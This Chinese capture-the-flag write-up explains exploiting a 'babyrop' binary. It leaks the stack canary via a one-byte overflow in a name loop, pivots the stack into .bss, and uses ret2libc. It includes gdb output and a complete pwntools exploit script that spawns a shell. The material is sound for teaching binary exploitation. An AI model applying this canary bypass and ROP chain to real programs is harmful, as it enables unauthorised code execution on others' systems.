Canary机制的绕过+栈迁移

漏洞分析

题目

拿到题目检查保护和链接的动态库(题目给的是libc-2.27.so,分析本地的/lib/x86_64-linux-gnu/libc.so.6就行)

这题的重点在于Canary保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀e267254b2ec9)-[/home/babyrop]
└─# checksec babyrop
[*] '/home/babyrop/babyrop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

┌──(root💀e267254b2ec9)-[/home/babyrop]
└─# ldd babyrop
linux-vdso.so.1 (0x00007ffd2c1d3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff900d17000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff900eea000)

逆向分析,程序流程是先输入name,然后输入password进入vuln,vuln很明显溢出了16个字节,少的可怜的溢出,并且有canary的保护

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+0h] [rbp-30h]
char *v5; // [rsp+8h] [rbp-28h] BYREF
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("What your name? ");
for ( i = 0; i <= 24; ++i )
{
if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )
{
v6[i] = 0;
break;
}
}
printf("Hello, %s, welcome to this challenge!\n", v6);
puts("Please input the passwd to unlock this challenge");
__isoc99_scanf("%lld", &v5);
if ( v5 == "password" )
{
puts("OK!\nNow, you can input your message");
vuln();
puts("we will reply soon");
}
return 0;
}

vuln

1
2
3
4
5
6
7
8
9
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 0x30uLL);
return __readfsqword(0x28u) ^ v2;
}

利用思路

如何getshell,我的思路是分三步

  • 获取canary
  • 因为溢出的字节数不够,但rbp和rsp可以覆盖,leave也比较多,因此可以考虑栈迁移的方式
  • ret2libc,因为没有system、bin_sh,需要构造两个栈,第一个栈用来泄露某个函数的实际地址,比如puts,这样就能计算出libc的基地址了,第二个栈用来getshell

0x1 获取canary

canary的值每次运行都不一样,但一旦运行它就不变了,此程序canary是在fs:28h中,但我们依然可以用某种方式去获取canary,比如此程序在main函数的开头把canary的值放到了rbp+var_8中,因此接下来就是思考如何获取rbp+var_8的值了

1
2
mov     rax, fs:28h
mov [rbp+var_8], rax

从反汇编的C很快看出v7就是canary,并且紧接这v6字符串,这就很危险了,因为v6字符串通常是用来打印的,如果能和v7拼接上,那么就可以泄露canary

1
2
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

往下看,发现特么循环了25次!!!溢出了一个字节,因此可以和canary拼接上的!

1
2
3
4
5
6
7
8
for ( i = 0; i <= 24; ++i )
{
if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )
{
v6[i] = 0;
break;
}
}

为什么要和canary拼接上?因为canary的随机值低位是00,它就是不让你去拼接的,如果循环次数是24次,永远都不可能拼上。。。

调试举个canary的例子,0x9ae6f96367c48800是canary的值,我输入了24个字节的A和00没拼上,这样就防止了canary的泄露

1
2
3
4
5
6
pwndbg> x /40xb 0x7ffcb560da00
0x7ffcb560da00: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffcb560da08: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffcb560da10: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffcb560da18: 0x00 0x88 0xc4 0x67 0x63 0xf9 0xe6 0x9a
0x7ffcb560da20: 0xb0 0x08 0x40 0x00 0x00 0x00 0x00 0x00

但是如果输入25个A,把00低位覆盖,那么就可以泄露canary啦,像下面这样

1
2
3
4
5
6
┌──(root💀e267254b2ec9)-[/home/babyrop]
└─# ./babyrop
What your name?
AAAAAAAAAAAAAAAAAAAAAAAAA
Hello, AAAAAAAAAAAAAAAAAAAAAAAAA;�p��a@, welcome to this challenge!
Please input the passwd to unlock this challenge

在获取了canary的值后,我们就可以安心的进行栈溢出了,只需要把canary在栈上的位置覆盖成泄露的canary就能绕过保护

可以看下面的汇编,可知,rbp上8个字节只需要覆盖成canary即可绕过

1
2
3
mov     rcx, [rbp+var_8]
xor rcx, fs:28h
jz short locret_4008A2

0x2 栈迁移

在绕过canary后却只能覆盖rbp和rsp,而rbp在程序中又没有bss地址的泄露(可能是没有用到全局变量的原因),因此我们去内存上找bss,对main断点,然后r到main,再通过gdb内的vmmap命令可以找到一些可读写权限的bss段,比如下面0x601000~0x602000都是可读写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/babyrop/babyrop
0x600000 0x601000 r--p 1000 0 /home/babyrop/babyrop
0x601000 0x602000 rw-p 1000 1000 /home/babyrop/babyrop
0x7f2ffd831000 0x7f2ffd833000 rw-p 2000 0 [anon_7f2ffd831]
0x7f2ffd833000 0x7f2ffd859000 r--p 26000 0 /usr/lib/x86_64-linux-gnu/libc-2.32.so
0x7f2ffd859000 0x7f2ffd9a2000 r-xp 149000 26000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
0x7f2ffd9a2000 0x7f2ffd9ed000 r--p 4b000 16f000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
0x7f2ffd9ed000 0x7f2ffd9ee000 ---p 1000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
0x7f2ffd9ee000 0x7f2ffd9f1000 r--p 3000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
0x7f2ffd9f1000 0x7f2ffd9f4000 rw-p 3000 1bd000 /usr/lib/x86_64-linux-gnu/libc-2.32.so
0x7f2ffd9f4000 0x7f2ffd9fa000 rw-p 6000 0 [anon_7f2ffd9f4]
0x7f2ffda06000 0x7f2ffda07000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.32.so
0x7f2ffda07000 0x7f2ffda27000 r-xp 20000 1000 /usr/lib/x86_64-linux-gnu/ld-2.32.so
0x7f2ffda27000 0x7f2ffda30000 r--p 9000 21000 /usr/lib/x86_64-linux-gnu/ld-2.32.so
0x7f2ffda30000 0x7f2ffda31000 r--p 1000 29000 /usr/lib/x86_64-linux-gnu/ld-2.32.so
0x7f2ffda31000 0x7f2ffda33000 rw-p 2000 2a000 /usr/lib/x86_64-linux-gnu/ld-2.32.so
0x7ffcdec85000 0x7ffcdeca6000 rw-p 21000 0 [stack]
0x7ffcded0f000 0x7ffcded13000 r--p 4000 0 [vvar]
0x7ffcded13000 0x7ffcded14000 r-xp 1000 0 [vdso]

特别注意!bss不能两次重复写,这是我两次重复写在exp中调试的结果报错,因此我们需要拿出两段bss1(0x601a00)和bss2(0x601b00)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> c
Continuing.
[Attaching after process 2902 vfork to child process 2936]
[New inferior 2 (process 2936)]
[Detaching vfork parent process 2902 after child exec]
[Inferior 1 (process 2902) detached]
process 2936 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400717
Cannot insert breakpoint 2.
Cannot access memory at address 0x40072e
Cannot insert breakpoint 5.
Cannot access memory at address 0x40073f
Cannot insert breakpoint 3.
Cannot access memory at address 0x400744
Cannot insert breakpoint 4.
Cannot access memory at address 0x40086e

0x3 ret2libc

在vuln中,我们直接取这一段0x40072E作为每次溢出的attack function,它会把当前rbp往前0x20个字节(递减)从低地址往高地址进行读入

1
2
3
4
5
.text:000000000040072E                 lea     rax, [rbp+buf]
.text:0000000000400732 mov edx, 30h ; '0' ; nbytes
.text:0000000000400737 mov rsi, rax ; buf
.text:000000000040073A mov edi, 0 ; fd
.text:000000000040073F call _read

所以我们第一次输入先改变rbp和rsp就行,输入’A’*24 + p64(canary) +p64(bss1+0x20) + p64(0x40072E),这样read后,vuln快结束时执行leave和ret,rbp就指向了一段bss(让第二次输入从bss地址开始往下),sp指向0x40072E再次进行一次溢出输入,此时第二次输入就构造出一个可用于泄露函数实际地址的栈空间payload = p64(pop_rdi_ret) + p64(puts_got) + p64(0x40086E) + p64(canary) + p64(bss1-0x8) + p64(leave_ret),这里最关键的一点是0x40086E而不是puts的plt地址,因为sp为这段地址后会执行vuln,这样我就省了一次在bss上布置执行vuln的栈空间了。这里参数通过pop rdi,让下面的call puts去打印puts的实际地址,然后也不需要管sp了,自觉再来一次vuln

1
2
3
4
.text:0000000000400867                 lea     rdi, aOkNowYouCanInp ; "OK!\nNow, you can input your message"
.text:000000000040086E call _puts
.text:0000000000400873 mov eax, 0
.text:0000000000400878 call vuln

按照前面的思路,后面的ret2libc就很简单了,只需要再来一次栈溢出,在bss2上构造一段可以ret2libc的数据就可以getshell了,结构和前面一样,具体可参考EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# encoding: utf-8
from os import system
from pwn import *
context(os='linux', arch='amd64', log_level='debug')


if __name__ == "__main__":
p = process("./babyrop")
p.recv()
payload1 = 'A'*25
p.send(payload1)
canary = p.recv()
canary = canary[32:39]
canary = canary.rjust(8, '\x00')
canary = u64(canary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./babyrop")

#栈迁移,让rbp、rsp都指向一段可执行的bss1内存空间,泄露puts
v5 = '4196782'
bss1 = 0x601a00
bss2 = 0x601b00
p.sendline(v5)
p.recv()
payload2 = 'A'*24 + p64(canary) + p64(bss1 + 0x20) + p64(0x40072E)
p.send(payload2)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400913
leave_ret = 0x400759
payload3 = p64(pop_rdi_ret) + p64(puts_got) + p64(0x40086E) + p64(canary) + p64(bss1-0x8) + p64(leave_ret)
p.send(payload3)


puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
#print(hex(libc_base))
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
sys_addr = libc_base + libc.sym['system']


#ret2libc
payload4 = "A"*24 + p64(canary) + p64(bss2 + 0x20) + p64(0x40072E)
p.send(payload4)

payload5 = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr) + p64(canary) + p64(bss2 - 0x8) + p64(leave_ret)
p.send(payload5)

p.interactive()

getshell!

image-20211216174336534